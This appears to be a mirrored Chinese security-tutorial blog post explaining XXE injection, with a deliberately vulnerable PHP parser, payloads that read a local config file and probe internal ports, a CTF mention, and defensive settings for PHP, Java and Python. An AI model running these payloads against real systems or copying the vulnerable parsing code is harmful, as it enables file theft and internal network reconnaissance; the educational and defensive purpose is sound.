zoukankan      html  css  js  c++  java
  • 渗透之路基础 -- XXE注入漏洞

    XXE漏洞

    XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

    类似于文件包含漏洞--通过加载XML文件并调用配置文件,来实现注入

    造成漏洞的代码:

    <?php
    $xml=$_GET['x'];
    $data=simplexml_load_file($xml);
    var_dump($data);
    ?>
    

    simplexml_load_file php解析外部实体须在 php << 5.5.38

    文件任意读取

    读取 file.xml 代码如下:

    <?xml version = "1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY [
        <!ENTITY file SYSTEM "file:///c:/config.ini">
    ]>
    <x>&file;</x>
    <!-- 引用外部实体 -->
    

    访问 http://192.168.80.128/test/xml/test.php?x=file.xml

    端口扫描

    读取 port.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root[
    	<!ELEMENT name ANY >
        <!ENTITY xxe SYSTEM "http://127.0.0.1:80">
    ]>
    <root>
    <name>&xxe;</name>
    </root>
    

    访问 http://192.168.80.128/test/xml/test.php?x=port.xml

    没有报错,说明端口存在并且开放

    如果将端口改为不存在的端口 180

    访问 http://192.168.80.128/test/xml/test.php?x=port.xml

    某CTF题

    http://web.jarvisoj.com:9882/

    • 返回信息为 json 格式

    • 然后 burp抓包分析

    • 尝试xml注入,抓包重发

    XML后门的利用

    php动态创建xml,植入后门

    防御XXE攻击

    使用开发语言提供禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);
    

    JAVA:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    

    Python:

    from lxml import etree
    
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    

    过滤用户提交的XML数据

    过滤关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM 和 PUBLIC。

    不允许XML中包含有自己定义的DTD

    https://www.cnblogs.com/miyeah/p/4526088.html

    外部引入DTD文件

    编写XML注入代码

    访问 http://192.168.80.128/test/xml/test.php?x=xxe-dtd.xml

    可以读取出文件信息达到文件读取利用

  • 相关阅读:
    A Survey of Deep Clustering Algorithms
    随机傅里叶特征(Random Fourier Features)
    MATLAB实例:二元高斯分布图
    MATLAB实例:PCA(主成成分分析)详解
    MATLAB用“fitgmdist”函数拟合高斯混合模型(一维数据)
    Extreme Learning Machine
    在MATLAB R2018b中配置VLFeat
    Deep Clustering Algorithms
    机器学习优化算法
    sql注入总结
  • 原文地址:https://www.cnblogs.com/r0ckysec/p/11532013.html
Copyright © 2011-2022 走看看